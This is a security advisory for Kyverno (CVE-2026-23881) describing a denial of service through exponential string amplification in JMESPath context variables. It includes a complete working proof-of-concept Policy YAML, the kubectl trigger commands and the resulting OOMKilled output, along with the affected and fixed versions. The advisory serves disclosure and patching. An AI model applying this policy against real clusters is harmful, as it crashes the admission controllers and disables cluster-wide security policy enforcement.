GHSA-r2rj-wwm5-x6mq
Kyverno Denial of Service via Context Variable Amplification in Policy Engine
Quick fix
GHSA-r2rj-wwm5-x6mq — github.com/kyverno/kyverno: upgrade to the fixed version with the command below.
go get github.com/kyverno/kyverno@v1.15.3Details
## Summary
Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.
## Details
For example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining:
The PoC attack uses exponential doubling: - `l0` = `random('[a-zA-Z0-9]{1000}')` → 1KB - `l1` = `join('', [l0, l0])` → 2KB - `l2` = `join('', [l1, l1])` → 4KB - ... continues to `l18` → 256MB
The context evaluation has no cumulative size limit, allowing unbounded memory allocation.
## PoC
Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).
1. Create namespace: ```bash kubectl create namespace poc-test ```
2. Observe pod statuses from `kyverno` namespace on another terminal: ```bash kubectl get pods -n kyverno -w ```
2. Apply malicious policy: ```yaml apiVersion: kyverno.io/v1 kind: Policy metadata: name: memory-exhaustion-poc namespace: poc-test spec: validationFailureAction: Enforce rules: - name: exhaust-memory match: any: - resources: kinds: - ConfigMap context: - name: l0 variable: jmesPath: random('[a-zA-Z0-9]{1000}') - name: l1 variable: jmesPath: join('', [l0, l0]) - name: l2 variable: jmesPath: join('', [l1, l1]) - name: l3 variable: jmesPath: join('', [l2, l2]) - name: l4 variable: jmesPath: join('', [l3, l3]) - name: l5 variable: jmesPath: join('', [l4, l4]) - name: l6 variable: jmesPath: join('', [l5, l5]) - name: l7 variable: jmesPath: join('', [l6, l6]) - name: l8 variable: jmesPath: join('', [l7, l7]) - name: l9 variable: jmesPath: join('', [l8, l8]) - name: l10 variable: jmesPath: join('', [l9, l9]) - name: l11 variable: jmesPath: join('', [l10, l10]) - name: l12 variable: jmesPath: join('', [l11, l11]) - name: l13 variable: jmesPath: join('', [l12, l12]) - name: l14 variable: jmesPath: join('', [l13, l13]) - name: l15 variable: jmesPath: join('', [l14, l14]) - name: l16 variable: jmesPath: join('', [l15, l15]) - name: l17 variable: jmesPath: join('', [l16, l16]) - name: l18 variable: jmesPath: join('', [l17, l17]) validate: message: "Memory exhaustion PoC" deny: conditions: any: - key: "{{ l18 }}" operator: Equals value: "impossible-match" ```
As soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.
4. Trigger policy evaluation on the admission controller: ```bash kubectl create configmap trigger -n poc-test --from-literal=key=value ```
Response:
``` error: failed to create configmap: Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF ```
The Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.
5. Check pod status from the `kyverno` namespace:
```bash kubectl get pods -n kyverno ```
Outputs:
``` kyverno kyverno-admission-controller-58cb4b76c9-wd45p 0/1 OOMKilled 1 (20s ago) 178m kyverno kyverno-reports-controller-576566fb98-pfb2f 0/1 OOMKilled 1 (1s ago) 178m ```
While the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same `kubectl create configmap` command from above and reproduce the crash.
## Impact
Denial of Service with cluster-wide security impact. Users with `Policy` or `ClusterPolicy` creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:
- Pod OOMKill and service disruption - No logs on why the crash occurred (admission controller, reports controller) - Cluster-wide policy enforcement disabled and security policies stop being evaluated - If `failurePolicy: Ignore` is configured, workloads bypass all validation during outage - Applications depending on Kyverno mutations may deploy with incorrect configurations
Any Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.
## Mitigation
Add a context size limit to prevent unbounded memory allocation during policy evaluation.
Are you affected?
Enter the version of the package you're using.
Affected packages
0Fixed in: 1.15.3go get github.com/kyverno/kyverno@v1.15.31.16.0-rc.1Fixed in: 1.16.3go get github.com/kyverno/kyverno@v1.16.3References
- https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-23881[ADVISORY]
- https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f[WEB]
- https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7[WEB]
- https://github.com/kyverno/kyverno[PACKAGE]